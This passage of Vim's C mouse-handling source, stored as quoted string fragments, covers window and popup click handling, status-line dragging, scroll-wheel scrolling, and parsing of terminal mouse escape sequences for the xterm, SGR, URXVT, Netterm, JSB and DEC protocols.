POPF_DRAGALL))\n\t {\n\t\tpopup_dragwin = wp;\n\t\tpopup_start_drag(wp, row, col);\n\t\treturn IN_UNKNOWN;\n\t }\n\t // Only close on release, otherwise it's not possible to drag or do\n\t // modeless selection.\n\t else if (wp->w_popup_close == POPCLOSE_CLICK\n\t\t && which_button == MOUSE_LEFT)\n\t {\n\t\tclick_in_popup_win = wp;\n\t }\n\t else if (which_button == MOUSE_LEFT)\n\t\t// If the click is in the scrollbar, may scroll up/down.\n\t\tpopup_handle_scrollbar_click(wp, row, col);\n# ifdef FEAT_CLIPBOARD\n\t return IN_OTHER_WIN;\n# else\n\t return IN_UNKNOWN;\n# endif\n\t}\n\tin_popup_win = FALSE;\n\tpopup_dragwin = NULL;\n#endif\n#ifdef FEAT_MENU\n\tif (row == -1)\n\t{\n\t // A click in the window toolbar does not enter another window or\n\t // change Visual highlighting.\n\t winbar_click(wp, col);\n\t in_winbar = TRUE;\n\t return IN_OTHER_WIN | MOUSE_WINBAR;\n\t}\n\tin_winbar = FALSE;\n#endif", "\t// winpos and height may change in win_enter()!\n\tif (row >= wp->w_height)\t\t// In (or below) status line\n\t{\n\t on_status_line = row - wp->w_height + 1;\n\t dragwin = wp;\n\t}\n\telse\n\t on_status_line = 0;\n\tif (col >= wp->w_width)\t\t// In separator line\n\t{\n\t on_sep_line = col - wp->w_width + 1;\n\t dragwin = wp;\n\t}\n\telse\n\t on_sep_line = 0;", "\t// The rightmost character of the status line might be a vertical\n\t// separator character if there is no connecting window to the right.\n\tif (on_status_line && on_sep_line)\n\t{\n\t if (stl_connected(wp))\n\t\ton_sep_line = 0;\n\t else\n\t\ton_status_line = 0;\n\t}", "\t// Before jumping to another buffer, or moving the cursor for a left\n\t// click, stop Visual mode.\n\tif (VIsual_active\n\t\t&& (wp->w_buffer != curwin->w_buffer\n\t\t || (!on_status_line && !on_sep_line\n#ifdef FEAT_FOLDING\n\t\t\t&& (\n# ifdef FEAT_RIGHTLEFT\n\t\t\t wp->w_p_rl ? col < wp->w_width - wp->w_p_fdc :\n# endif\n\t\t\t col >= wp->w_p_fdc\n# ifdef FEAT_CMDWIN\n\t\t\t\t + (cmdwin_type == 0 && wp == curwin ? 0 : 1)\n# endif\n\t\t\t )\n#endif\n\t\t\t&& (flags & MOUSE_MAY_STOP_VIS))))\n\t{\n\t end_visual_mode_keep_button();\n\t redraw_curbuf_later(UPD_INVERTED);\t// delete the inversion\n\t}\n#ifdef FEAT_CMDWIN\n\tif (cmdwin_type != 0 && wp != curwin)\n\t{\n\t // A click outside the command-line window: Use modeless\n\t // selection if possible. Allow dragging the status lines.\n\t on_sep_line = 0;\n# ifdef FEAT_CLIPBOARD\n\t if (on_status_line)\n\t\treturn IN_STATUS_LINE;\n\t return IN_OTHER_WIN;\n# else\n\t row = 0;\n\t col += wp->w_wincol;\n\t wp = curwin;\n# endif\n\t}\n#endif\n#if defined(FEAT_PROP_POPUP) && defined(FEAT_TERMINAL)\n\tif (popup_is_popup(curwin) && curbuf->b_term != NULL)\n\t // terminal in popup window: don't jump to another window\n\t return IN_OTHER_WIN;\n#endif\n\t// Only change window focus when not clicking on or dragging the\n\t// status line. Do change focus when releasing the mouse button\n\t// (MOUSE_FOCUS was set above if we dragged first).\n\tif (dragwin == NULL || (flags & MOUSE_RELEASED))\n\t win_enter(wp, TRUE);\t\t// can make wp invalid!", "\tif (curwin != old_curwin)\n\t{\n#ifdef CHECK_DOUBLE_CLICK\n\t // set topline, to be able to check for double click ourselves\n\t set_mouse_topline(curwin);\n#endif\n#ifdef FEAT_TERMINAL\n\t // when entering a terminal window may change state\n\t term_win_entered();\n#endif\n\t}\n\tif (on_status_line)\t\t\t// In (or below) status line\n\t{\n\t // Don't use start_arrow() if we're in the same window\n\t if (curwin == old_curwin)\n\t\treturn IN_STATUS_LINE;\n\t else\n\t\treturn IN_STATUS_LINE | CURSOR_MOVED;\n\t}\n\tif (on_sep_line)\t\t\t// In (or below) status line\n\t{\n\t // Don't use start_arrow() if we're in the same window\n\t if (curwin == old_curwin)\n\t\treturn IN_SEP_LINE;\n\t else\n\t\treturn IN_SEP_LINE | CURSOR_MOVED;\n\t}", "\tcurwin->w_cursor.lnum = curwin->w_topline;\n#ifdef FEAT_GUI\n\t// remember topline, needed for double click\n\tgui_prev_topline = curwin->w_topline;\n# ifdef FEAT_DIFF\n\tgui_prev_topfill = curwin->w_topfill;\n# endif\n#endif\n }\n else if (on_status_line && which_button == MOUSE_LEFT)\n {\n\tif (dragwin != NULL)\n\t{\n\t // Drag the status line\n\t count = row - W_WINROW(dragwin) - dragwin->w_height + 1\n\t\t\t\t\t\t\t - on_status_line;\n\t win_drag_status_line(dragwin, count);\n\t did_drag |= count;\n\t}\n\treturn IN_STATUS_LINE;\t\t\t// Cursor didn't move\n }\n else if (on_sep_line && which_button == MOUSE_LEFT)\n {\n\tif (dragwin != NULL)\n\t{\n\t // Drag the separator column\n\t count = col - dragwin->w_wincol - dragwin->w_width + 1\n\t\t\t\t\t\t\t\t- on_sep_line;\n\t win_drag_vsep_line(dragwin, count);\n\t did_drag |= count;\n\t}\n\treturn IN_SEP_LINE;\t\t\t// Cursor didn't move\n }\n#ifdef FEAT_MENU\n else if (in_winbar)\n {\n\t// After a click on the window toolbar don't start Visual mode.\n\treturn IN_OTHER_WIN | MOUSE_WINBAR;\n }\n#endif\n else // keep_window_focus must be TRUE\n {\n\t// before moving the cursor for a left click, stop Visual mode\n\tif (flags & MOUSE_MAY_STOP_VIS)\n\t{\n\t end_visual_mode_keep_button();\n\t redraw_curbuf_later(UPD_INVERTED);\t// delete the inversion\n\t}", "#if defined(FEAT_CMDWIN) && defined(FEAT_CLIPBOARD)\n\t// Continue a modeless selection in another window.\n\tif (cmdwin_type != 0 && row < curwin->w_winrow)\n\t return IN_OTHER_WIN;\n#endif\n#ifdef FEAT_PROP_POPUP\n\tif (in_popup_win)\n\t{\n\t if (popup_dragwin != NULL)\n\t {\n\t\t// dragging a popup window\n\t\tpopup_drag(popup_dragwin);\n\t\treturn IN_UNKNOWN;\n\t }\n\t // continue a modeless selection in a popup window\n\t click_in_popup_win = NULL;\n\t return IN_OTHER_WIN;\n\t}\n#endif", "\trow -= W_WINROW(curwin);\n\tcol -= curwin->w_wincol;", "\t// When clicking beyond the end of the window, scroll the screen.\n\t// Scroll by however many rows outside the window we are.\n\tif (row < 0)\n\t{\n\t count = 0;\n\t for (first = TRUE; curwin->w_topline > 1; )\n\t {\n#ifdef FEAT_DIFF\n\t\tif (curwin->w_topfill < diff_check(curwin, curwin->w_topline))\n\t\t ++count;\n\t\telse\n#endif\n\t\t count += plines(curwin->w_topline - 1);\n\t\tif (!first && count > -row)\n\t\t break;\n\t\tfirst = FALSE;\n#ifdef FEAT_FOLDING\n\t\t(void)hasFolding(curwin->w_topline, &curwin->w_topline, NULL);\n#endif\n#ifdef FEAT_DIFF\n\t\tif (curwin->w_topfill < diff_check(curwin, curwin->w_topline))\n\t\t ++curwin->w_topfill;\n\t\telse\n#endif\n\t\t{\n\t\t --curwin->w_topline;\n#ifdef FEAT_DIFF\n\t\t curwin->w_topfill = 0;\n#endif\n\t\t}\n\t }\n#ifdef FEAT_DIFF\n\t check_topfill(curwin, FALSE);\n#endif\n\t curwin->w_valid &=\n\t\t ~(VALID_WROW|VALID_CROW|VALID_BOTLINE|VALID_BOTLINE_AP);\n\t redraw_later(UPD_VALID);\n\t row = 0;\n\t}\n\telse if (row >= curwin->w_height)\n\t{\n\t count = 0;\n\t for (first = TRUE; curwin->w_topline < curbuf->b_ml.ml_line_count; )\n\t {\n#ifdef FEAT_DIFF\n\t\tif (curwin->w_topfill > 0)\n\t\t ++count;\n\t\telse\n#endif\n\t\t count += plines(curwin->w_topline);\n\t\tif (!first && count > row - curwin->w_height + 1)\n\t\t break;\n\t\tfirst = FALSE;\n#ifdef FEAT_FOLDING\n\t\tif (hasFolding(curwin->w_topline, NULL, &curwin->w_topline)\n\t\t\t&& curwin->w_topline == curbuf->b_ml.ml_line_count)\n\t\t break;\n#endif\n#ifdef FEAT_DIFF\n\t\tif (curwin->w_topfill > 0)\n\t\t --curwin->w_topfill;\n\t\telse\n#endif\n\t\t{\n\t\t ++curwin->w_topline;\n#ifdef FEAT_DIFF\n\t\t curwin->w_topfill =\n\t\t\t\t diff_check_fill(curwin, curwin->w_topline);\n#endif\n\t\t}\n\t }\n#ifdef FEAT_DIFF\n\t check_topfill(curwin, FALSE);\n#endif\n\t redraw_later(UPD_VALID);\n\t curwin->w_valid &=\n\t\t ~(VALID_WROW|VALID_CROW|VALID_BOTLINE|VALID_BOTLINE_AP);\n\t row = curwin->w_height - 1;\n\t}\n\telse if (row == 0)\n\t{\n\t // When dragging the mouse, while the text has been scrolled up as\n\t // far as it goes, moving the mouse in the top line should scroll\n\t // the text down (done later when recomputing w_topline).\n\t if (mouse_dragging > 0\n\t\t && curwin->w_cursor.lnum\n\t\t\t\t == curwin->w_buffer->b_ml.ml_line_count\n\t\t && curwin->w_cursor.lnum == curwin->w_topline)\n\t\tcurwin->w_valid &= ~(VALID_TOPLINE);\n\t}\n }", " if (prev_row >= 0 && prev_row < Rows && prev_col >= 0 && prev_col <= Columns\n\t\t\t\t\t\t && ScreenLines != NULL)\n {\n\tint off = LineOffset[prev_row] + prev_col;", "\t// Only use ScreenCols[] after the window was redrawn. Mainly matters\n\t// for tests, a user would not click before redrawing.\n\t// Do not use when 'virtualedit' is active.\n\tif (curwin->w_redr_type <= UPD_VALID_NO_UPDATE && !virtual_active())\n\t col_from_screen = ScreenCols[off];\n#ifdef FEAT_FOLDING\n\t// Remember the character under the mouse, it might be a '-' or '+' in\n\t// the fold column.\n\tmouse_char = ScreenLines[off];\n#endif\n }", "#ifdef FEAT_FOLDING\n // Check for position outside of the fold column.\n if (\n# ifdef FEAT_RIGHTLEFT\n\t curwin->w_p_rl ? col < curwin->w_width - curwin->w_p_fdc :\n# endif\n\t col >= curwin->w_p_fdc\n# ifdef FEAT_CMDWIN\n\t\t\t\t+ (cmdwin_type == 0 ? 0 : 1)\n# endif\n )\n\tmouse_char = ' ';\n#endif", " // compute the position in the buffer line from the posn on the screen\n if (mouse_comp_pos(curwin, &row, &col, &curwin->w_cursor.lnum, NULL))\n\tmouse_past_bottom = TRUE;", " // Start Visual mode before coladvance(), for when 'sel' != \"old\"\n if ((flags & MOUSE_MAY_VIS) && !VIsual_active)\n {\n\tcheck_visual_highlight();\n\tVIsual = old_cursor;\n\tVIsual_active = TRUE;\n\tVIsual_reselect = TRUE;\n\t// if 'selectmode' contains \"mouse\", start Select mode\n\tmay_start_select('o');\n\tsetmouse();\n\tif (p_smd && msg_silent == 0)\n\t redraw_cmdline = TRUE;\t// show visual mode later\n }", " if (col_from_screen >= 0)\n {\n\t// Use the column from ScreenCols[], it is accurate also after\n\t// concealed characters.\n\tcurwin->w_cursor.col = col_from_screen;\n\tif (col_from_screen == MAXCOL)\n\t{\n\t curwin->w_curswant = col_from_screen;\n\t curwin->w_set_curswant = FALSE;\t// May still have been TRUE\n\t mouse_past_eol = TRUE;\n\t if (inclusive != NULL)\n\t\t*inclusive = TRUE;\n\t}\n\telse\n\t{\n\t curwin->w_set_curswant = TRUE;\n\t if (inclusive != NULL)\n\t\t*inclusive = FALSE;\n\t}\n\tcheck_cursor_col();\n }\n else\n {\n\tcurwin->w_curswant = col;\n\tcurwin->w_set_curswant = FALSE;\t// May still have been TRUE\n\tif (coladvance(col) == FAIL)\t// Mouse click beyond end of line\n\t{\n\t if (inclusive != NULL)\n\t\t*inclusive = TRUE;\n\t mouse_past_eol = TRUE;\n\t}\n\telse if (inclusive != NULL)\n\t *inclusive = FALSE;\n }", " count = IN_BUFFER;\n if (curwin != old_curwin || curwin->w_cursor.lnum != old_cursor.lnum\n\t || curwin->w_cursor.col != old_cursor.col)\n\tcount |= CURSOR_MOVED;\t\t// Cursor has moved", "# ifdef FEAT_FOLDING\n if (mouse_char == curwin->w_fill_chars.foldclosed)\n\tcount |= MOUSE_FOLD_OPEN;\n else if (mouse_char != ' ')\n\tcount |= MOUSE_FOLD_CLOSE;\n# endif", " return count;\n}", "/*\n * Mouse scroll wheel: Default action is to scroll mouse_vert_step lines (or\n * mouse_hor_step, depending on the scroll direction), or one page when Shift or\n * Ctrl is used.\n * K_MOUSEUP (cap->arg == 1) or K_MOUSEDOWN (cap->arg == 0) or\n * K_MOUSELEFT (cap->arg == -1) or K_MOUSERIGHT (cap->arg == -2)\n */\n void\nnv_mousescroll(cmdarg_T *cap)\n{\n win_T *old_curwin = curwin, *wp;", " if (mouse_row >= 0 && mouse_col >= 0)\n {\n\tint row, col;", "\trow = mouse_row;\n\tcol = mouse_col;", "\t// find the window at the pointer coordinates\n\twp = mouse_find_win(&row, &col, FIND_POPUP);\n\tif (wp == NULL)\n\t return;\n#ifdef FEAT_PROP_POPUP\n\tif (WIN_IS_POPUP(wp) && !wp->w_has_scrollbar)\n\t return;\n#endif\n\tcurwin = wp;\n\tcurbuf = curwin->w_buffer;\n }\n if (cap->arg == MSCR_UP || cap->arg == MSCR_DOWN)\n {\n# ifdef FEAT_TERMINAL\n\tif (term_use_loop())\n\t // This window is a terminal window, send the mouse event there.\n\t // Set \"typed\" to FALSE to avoid an endless loop.\n\t send_keys_to_term(curbuf->b_term, cap->cmdchar, mod_mask, FALSE);\n\telse\n# endif\n\tif (mouse_vert_step < 0 || mod_mask & (MOD_MASK_SHIFT | MOD_MASK_CTRL))\n\t{\n\t (void)onepage(cap->arg ? FORWARD : BACKWARD, 1L);\n\t}\n\telse\n\t{\n\t // Don't scroll more than half the window height.\n\t if (curwin->w_height < mouse_vert_step * 2)\n\t {\n\t\tcap->count1 = curwin->w_height / 2;\n\t\tif (cap->count1 == 0)\n\t\t cap->count1 = 1;\n\t }\n\t else\n\t\tcap->count1 = mouse_vert_step;\n\t cap->count0 = cap->count1;\n\t nv_scroll_line(cap);\n\t}\n#ifdef FEAT_PROP_POPUP\n\tif (WIN_IS_POPUP(curwin))\n\t popup_set_firstline(curwin);\n#endif\n }\n# ifdef FEAT_GUI\n else\n {\n\t// Horizontal scroll - only allowed when 'wrap' is disabled\n\tif (!curwin->w_p_wrap)\n\t{\n\t int val, step;", "\t if (mouse_hor_step < 0\n\t\t || mod_mask & (MOD_MASK_SHIFT | MOD_MASK_CTRL))\n\t\tstep = curwin->w_width;\n\t else\n\t\tstep = mouse_hor_step;\n\t val = curwin->w_leftcol + (cap->arg == MSCR_RIGHT ? -step : +step);\n\t if (val < 0)\n\t\tval = 0;", "\t gui_do_horiz_scroll(val, TRUE);\n\t}\n }\n# endif\n# ifdef FEAT_SYN_HL\n if (curwin != old_curwin && curwin->w_p_cul)\n\tredraw_for_cursorline(curwin);\n# endif\n may_trigger_winscrolled();", " curwin->w_redr_status = TRUE;", " curwin = old_curwin;\n curbuf = curwin->w_buffer;\n}", "/*\n * Mouse clicks and drags.\n */\n void\nnv_mouse(cmdarg_T *cap)\n{\n (void)do_mouse(cap->oap, cap->cmdchar, BACKWARD, cap->count1, 0);\n}", "static int\theld_button = MOUSE_RELEASE;", " void\nreset_held_button()\n{\n held_button = MOUSE_RELEASE;\n}", "/*\n * Check if typebuf 'tp' contains a terminal mouse code and returns the\n * modifiers found in typebuf in 'modifiers'.\n */\n int\ncheck_termcode_mouse(\n char_u\t*tp,\n int\t\t*slen,\n char_u\t*key_name,\n char_u\t*modifiers_start,\n int\t\tidx,\n int\t\t*modifiers)\n{\n int\t\tj;\n char_u\t*p;\n# if !defined(UNIX) || defined(FEAT_MOUSE_XTERM) || defined(FEAT_GUI) \\\n || defined(FEAT_MOUSE_GPM) || defined(FEAT_SYSMOUSE)\n char_u\tbytes[6];\n int\t\tnum_bytes;\n# endif\n int\t\tmouse_code = 0;\t // init for GCC\n int\t\tis_click, is_drag;\n int\t\tis_release, release_is_ambiguous;\n int\t\twheel_code = 0;\n int\t\tcurrent_button;\n static int\torig_num_clicks = 1;\n static int\torig_mouse_code = 0x0;\n# ifdef CHECK_DOUBLE_CLICK\n static int\torig_mouse_col = 0;\n static int\torig_mouse_row = 0;\n static struct timeval orig_mouse_time = {0, 0};\n // time of previous mouse click\n struct timeval mouse_time;\t\t// time of current mouse click\n long\ttimediff;\t\t// elapsed time in msec\n# endif", " is_click = is_drag = is_release = release_is_ambiguous = FALSE;", "# if !defined(UNIX) || defined(FEAT_MOUSE_XTERM) || defined(FEAT_GUI) \\\n || defined(FEAT_MOUSE_GPM) || defined(FEAT_SYSMOUSE)\n if (key_name[0] == KS_MOUSE\n# ifdef FEAT_MOUSE_GPM\n\t || key_name[0] == KS_GPM_MOUSE\n# endif\n )\n {\n\t/*\n\t * For xterm we get \"<t_mouse>scr\", where s == encoded button state:\n\t *\t 0x20 = left button down\n\t *\t 0x21 = middle button down\n\t *\t 0x22 = right button down\n\t *\t 0x23 = any button release\n\t *\t 0x60 = button 4 down (scroll wheel down)\n\t *\t 0x61 = button 5 down (scroll wheel up)\n\t *\tadd 0x04 for SHIFT\n\t *\tadd 0x08 for ALT\n\t *\tadd 0x10 for CTRL\n\t *\tadd 0x20 for mouse drag (0x40 is drag with left button)\n\t *\tadd 0x40 for mouse move (0x80 is move, 0x81 too)\n\t *\t\t 0x43 (drag + release) is also move\n\t * c == column + ' ' + 1 == column + 33\n\t * r == row + ' ' + 1 == row + 33\n\t *\n\t * The coordinates are passed on through global variables. Ugly, but\n\t * this avoids trouble with mouse clicks at an unexpected moment and\n\t * allows for mapping them.\n\t */\n\tfor (;;)\n\t{\n# ifdef FEAT_GUI\n\t if (gui.in_use)\n\t {\n\t\t// GUI uses more bits for columns > 223\n\t\tnum_bytes = get_bytes_from_buf(tp + *slen, bytes, 5);\n\t\tif (num_bytes == -1)\t// not enough coordinates\n\t\t return -1;\n\t\tmouse_code = bytes[0];\n\t\tmouse_col = 128 * (bytes[1] - ' ' - 1)\n\t\t + bytes[2] - ' ' - 1;\n\t\tmouse_row = 128 * (bytes[3] - ' ' - 1)\n\t\t + bytes[4] - ' ' - 1;\n\t }\n\t else\n# endif\n\t {\n\t\tnum_bytes = get_bytes_from_buf(tp + *slen, bytes, 3);\n\t\tif (num_bytes == -1)\t// not enough coordinates\n\t\t return -1;\n\t\tmouse_code = bytes[0];\n\t\tmouse_col = bytes[1] - ' ' - 1;\n\t\tmouse_row = bytes[2] - ' ' - 1;\n\t }\n\t *slen += num_bytes;", "\t // If the following bytes is also a mouse code and it has the same\n\t // code, dump this one and get the next. This makes dragging a\n\t // whole lot faster.\n# ifdef FEAT_GUI\n\t if (gui.in_use)\n\t\tj = 3;\n\t else\n# endif\n\t\tj = get_termcode_len(idx);\n\t if (STRNCMP(tp, tp + *slen, (size_t)j) == 0\n\t\t && tp[*slen + j] == mouse_code\n\t\t && tp[*slen + j + 1] != NUL\n\t\t && tp[*slen + j + 2] != NUL\n# ifdef FEAT_GUI\n\t\t && (!gui.in_use\n\t\t\t|| (tp[*slen + j + 3] != NUL\n\t\t\t && tp[*slen + j + 4] != NUL))\n# endif\n\t )\n\t\t*slen += j;\n\t else\n\t\tbreak;\n\t}\n }", " if (key_name[0] == KS_URXVT_MOUSE\n\t || key_name[0] == KS_SGR_MOUSE\n\t || key_name[0] == KS_SGR_MOUSE_RELEASE)\n {\n\t// URXVT 1015 mouse reporting mode:\n\t// Almost identical to xterm mouse mode, except the values are decimal\n\t// instead of bytes.\n\t//\n\t// \\033[%d;%d;%dM\n\t//\t ^-- row\n\t//\t ^----- column\n\t//\t ^-------- code\n\t//\n\t// SGR 1006 mouse reporting mode:\n\t// Almost identical to xterm mouse mode, except the values are decimal\n\t// instead of bytes.\n\t//\n\t// \\033[<%d;%d;%dM\n\t//\t ^-- row\n\t//\t ^----- column\n\t//\t ^-------- code\n\t//\n\t// \\033[<%d;%d;%dm\t : mouse release event\n\t//\t ^-- row\n\t//\t ^----- column\n\t//\t ^-------- code\n\tp = modifiers_start;\n\tif (p == NULL)\n\t return -1;", "\tmouse_code = getdigits(&p);\n\tif (*p++ != ';')\n\t return -1;", "\t// when mouse reporting is SGR, add 32 to mouse code\n\tif (key_name[0] == KS_SGR_MOUSE\n\t\t|| key_name[0] == KS_SGR_MOUSE_RELEASE)\n\t mouse_code += 32;", "\tmouse_col = getdigits(&p) - 1;\n\tif (*p++ != ';')\n\t return -1;", "\tmouse_row = getdigits(&p) - 1;", "\t// The modifiers were the mouse coordinates, not the modifier keys\n\t// (alt/shift/ctrl/meta) state.\n\t*modifiers = 0;\n }", " if (key_name[0] == KS_SGR_MOUSE\n\t || key_name[0] == KS_SGR_MOUSE_RELEASE)\n {\n\tif (key_name[0] == KS_SGR_MOUSE_RELEASE)\n\t{\n\t is_release = TRUE;\n\t // This is used below to set held_button.\n\t mouse_code |= MOUSE_RELEASE;\n\t}\n }\n else\n {\n\trelease_is_ambiguous = TRUE;\n\tif ((mouse_code & MOUSE_RELEASE) == MOUSE_RELEASE)\n\t is_release = TRUE;\n }", " if (key_name[0] == KS_MOUSE\n# ifdef FEAT_MOUSE_GPM\n\t || key_name[0] == KS_GPM_MOUSE\n# endif\n# ifdef FEAT_MOUSE_URXVT\n\t || key_name[0] == KS_URXVT_MOUSE\n# endif\n\t || key_name[0] == KS_SGR_MOUSE\n\t || key_name[0] == KS_SGR_MOUSE_RELEASE)\n {\n# if !defined(MSWIN)\n\t/*\n\t * Handle old style mouse events.\n\t * Recognize the xterm mouse wheel, but not in the GUI, the\n\t * Linux console with GPM and the MS-DOS or Win32 console\n\t * (multi-clicks use >= 0x60).\n\t */\n\tif (mouse_code >= MOUSEWHEEL_LOW\n# ifdef FEAT_GUI\n\t\t&& !gui.in_use\n# endif\n# ifdef FEAT_MOUSE_GPM\n\t\t&& key_name[0] != KS_GPM_MOUSE\n# endif\n\t )\n\t{\n# if defined(UNIX)\n\t if (use_xterm_mouse() > 1 && mouse_code >= 0x80)\n\t\t// mouse-move event, using MOUSE_DRAG works\n\t\tmouse_code = MOUSE_DRAG;\n\t else\n# endif\n\t\t// Keep the mouse_code before it's changed, so that we\n\t\t// remember that it was a mouse wheel click.\n\t\twheel_code = mouse_code;\n\t}\n# ifdef FEAT_MOUSE_XTERM\n\telse if (held_button == MOUSE_RELEASE\n# ifdef FEAT_GUI\n\t\t&& !gui.in_use\n# endif\n\t\t&& (mouse_code == 0x23 || mouse_code == 0x24\n\t\t || mouse_code == 0x40 || mouse_code == 0x41))\n\t{\n\t // Apparently 0x23 and 0x24 are used by rxvt scroll wheel.\n\t // And 0x40 and 0x41 are used by some xterm emulator.\n\t wheel_code = mouse_code - (mouse_code >= 0x40 ? 0x40 : 0x23)\n\t\t\t\t\t\t\t + MOUSEWHEEL_LOW;\n\t}\n# endif", "# if defined(UNIX)\n\telse if (use_xterm_mouse() > 1)\n\t{\n\t if (mouse_code & MOUSE_DRAG_XTERM)\n\t\tmouse_code |= MOUSE_DRAG;\n\t}\n# endif\n# ifdef FEAT_XCLIPBOARD\n\telse if (!(mouse_code & MOUSE_DRAG & ~MOUSE_CLICK_MASK))\n\t{\n\t if (is_release)\n\t\tstop_xterm_trace();\n\t else\n\t\tstart_xterm_trace(mouse_code);\n\t}\n# endif\n# endif\n }\n# endif // !UNIX || FEAT_MOUSE_XTERM\n# ifdef FEAT_MOUSE_NET\n if (key_name[0] == KS_NETTERM_MOUSE)\n {\n\tint mc, mr;", "\t// expect a rather limited sequence like: balancing {\n\t// \\033}6,45\\r\n\t// '6' is the row, 45 is the column\n\tp = tp + *slen;\n\tmr = getdigits(&p);\n\tif (*p++ != ',')\n\t return -1;\n\tmc = getdigits(&p);\n\tif (*p++ != '\\r')\n\t return -1;", "\tmouse_col = mc - 1;\n\tmouse_row = mr - 1;\n\tmouse_code = MOUSE_LEFT;\n\t*slen += (int)(p - (tp + *slen));\n }\n# endif\t// FEAT_MOUSE_NET\n# ifdef FEAT_MOUSE_JSB\n if (key_name[0] == KS_JSBTERM_MOUSE)\n {\n\tint mult, val, iter, button, status;", "\t/*\n\t * JSBTERM Input Model\n\t * \\033[0~zw uniq escape sequence\n\t * (L-x) Left button pressed - not pressed x not reporting\n\t * (M-x) Middle button pressed - not pressed x not reporting\n\t * (R-x) Right button pressed - not pressed x not reporting\n\t * (SDmdu) Single , Double click, m: mouse move, d: button down,\n\t\t *\t\t\t\t\t\t u: button up\n\t * ### X cursor position padded to 3 digits\n\t * ### Y cursor position padded to 3 digits\n\t * (s-x) SHIFT key pressed - not pressed x not reporting\n\t * (c-x) CTRL key pressed - not pressed x not reporting\n\t * \\033\\\\ terminating sequence\n\t */\n\tp = tp + *slen;\n\tbutton = mouse_code = 0;\n\tswitch (*p++)\n\t{\n\t case 'L': button = 1; break;\n\t case '-': break;\n\t case 'x': break; // ignore sequence\n\t default: return -1; // Unknown Result\n\t}\n\tswitch (*p++)\n\t{\n\t case 'M': button |= 2; break;\n\t case '-': break;\n\t case 'x': break; // ignore sequence\n\t default: return -1; // Unknown Result\n\t}\n\tswitch (*p++)\n\t{\n\t case 'R': button |= 4; break;\n\t case '-': break;\n\t case 'x': break; // ignore sequence\n\t default: return -1; // Unknown Result\n\t}\n\tstatus = *p++;\n\tfor (val = 0, mult = 100, iter = 0; iter < 3; iter++,\n\t\tmult /= 10, p++)\n\t if (*p >= '0' && *p <= '9')\n\t\tval += (*p - '0') * mult;\n\t else\n\t\treturn -1;\n\tmouse_col = val;\n\tfor (val = 0, mult = 100, iter = 0; iter < 3; iter++,\n\t\tmult /= 10, p++)\n\t if (*p >= '0' && *p <= '9')\n\t\tval += (*p - '0') * mult;\n\t else\n\t\treturn -1;\n\tmouse_row = val;\n\tswitch (*p++)\n\t{\n\t case 's': button |= 8; break; // SHIFT key Pressed\n\t case '-': break; // Not Pressed\n\t case 'x': break; // Not Reporting\n\t default: return -1; // Unknown Result\n\t}\n\tswitch (*p++)\n\t{\n\t case 'c': button |= 16; break; // CTRL key Pressed\n\t case '-': break; // Not Pressed\n\t case 'x': break; // Not Reporting\n\t default: return -1; // Unknown Result\n\t}\n\tif (*p++ != '\\033')\n\t return -1;\n\tif (*p++ != '\\\\')\n\t return -1;\n\tswitch (status)\n\t{\n\t case 'D': // Double Click\n\t case 'S': // Single Click\n\t\tif (button & 1) mouse_code |= MOUSE_LEFT;\n\t\tif (button & 2) mouse_code |= MOUSE_MIDDLE;\n\t\tif (button & 4) mouse_code |= MOUSE_RIGHT;\n\t\tif (button & 8) mouse_code |= MOUSE_SHIFT;\n\t\tif (button & 16) mouse_code |= MOUSE_CTRL;\n\t\tbreak;\n\t case 'm': // Mouse move\n\t\tif (button & 1) mouse_code |= MOUSE_LEFT;\n\t\tif (button & 2) mouse_code |= MOUSE_MIDDLE;\n\t\tif (button & 4) mouse_code |= MOUSE_RIGHT;\n\t\tif (button & 8) mouse_code |= MOUSE_SHIFT;\n\t\tif (button & 16) mouse_code |= MOUSE_CTRL;\n\t\tif ((button & 7) != 0)\n\t\t{\n\t\t held_button = mouse_code;\n\t\t mouse_code |= MOUSE_DRAG;\n\t\t}\n\t\tis_drag = TRUE;\n\t\tshowmode();\n\t\tbreak;\n\t case 'd': // Button Down\n\t\tif (button & 1) mouse_code |= MOUSE_LEFT;\n\t\tif (button & 2) mouse_code |= MOUSE_MIDDLE;\n\t\tif (button & 4) mouse_code |= MOUSE_RIGHT;\n\t\tif (button & 8) mouse_code |= MOUSE_SHIFT;\n\t\tif (button & 16) mouse_code |= MOUSE_CTRL;\n\t\tbreak;\n\t case 'u': // Button Up\n\t\tis_release = TRUE;\n\t\tif (button & 1)\n\t\t mouse_code |= MOUSE_LEFT;\n\t\tif (button & 2)\n\t\t mouse_code |= MOUSE_MIDDLE;\n\t\tif (button & 4)\n\t\t mouse_code |= MOUSE_RIGHT;\n\t\tif (button & 8)\n\t\t mouse_code |= MOUSE_SHIFT;\n\t\tif (button & 16)\n\t\t mouse_code |= MOUSE_CTRL;\n\t\tbreak;\n\t default: return -1; // Unknown Result\n\t}", "\t*slen += (p - (tp + *slen));\n }\n# endif // FEAT_MOUSE_JSB\n# ifdef FEAT_MOUSE_DEC\n if (key_name[0] == KS_DEC_MOUSE)\n {\n\t/*\n\t * The DEC Locator Input Model\n\t * Netterm delivers the code sequence:\n\t * \\033[2;4;24;80&w (left button down)\n\t * \\033[3;0;24;80&w (left button up)\n\t * \\033[6;1;24;80&w (right button down)\n\t * \\033[7;0;24;80&w (right button up)\n\t * CSI Pe ; Pb ; Pr ; Pc ; Pp & w\n\t * Pe is the event code\n\t * Pb is the button code\n\t * Pr is the row coordinate\n\t * Pc is the column coordinate\n\t * Pp is the third coordinate (page number)\n\t * Pe, the event code indicates what event caused this report\n\t * The following event codes are defined:\n\t * 0 - request, the terminal received an explicit request for a\n\t *\t locator report, but the locator is unavailable\n\t * 1 - request, the terminal received an explicit request for a\n\t *\t locator report\n\t * 2 - left button down\n\t * 3 - left button up\n\t * 4 - middle button down\n\t * 5 - middle button up\n\t * 6 - right button down\n\t * 7 - right button up\n\t * 8 - fourth button down\n\t * 9 - fourth button up\n\t * 10 - locator outside filter rectangle\n\t * Pb, the button code, ASCII decimal 0-15 indicating which buttons are\n\t * down if any. The state of the four buttons on the locator\n\t * correspond to the low four bits of the decimal value, \"1\" means\n\t * button depressed\n\t * 0 - no buttons down,\n\t * 1 - right,\n\t * 2 - middle,\n\t * 4 - left,\n\t * 8 - fourth\n\t * Pr is the row coordinate of the locator position in the page,\n\t * encoded as an ASCII decimal value. If Pr is omitted, the locator\n\t * position is undefined (outside the terminal window for example).\n\t * Pc is the column coordinate of the locator position in the page,\n\t * encoded as an ASCII decimal value. If Pc is omitted, the locator\n\t * position is undefined (outside the terminal window for example).\n\t * Pp is the page coordinate of the locator position encoded as an\n\t * 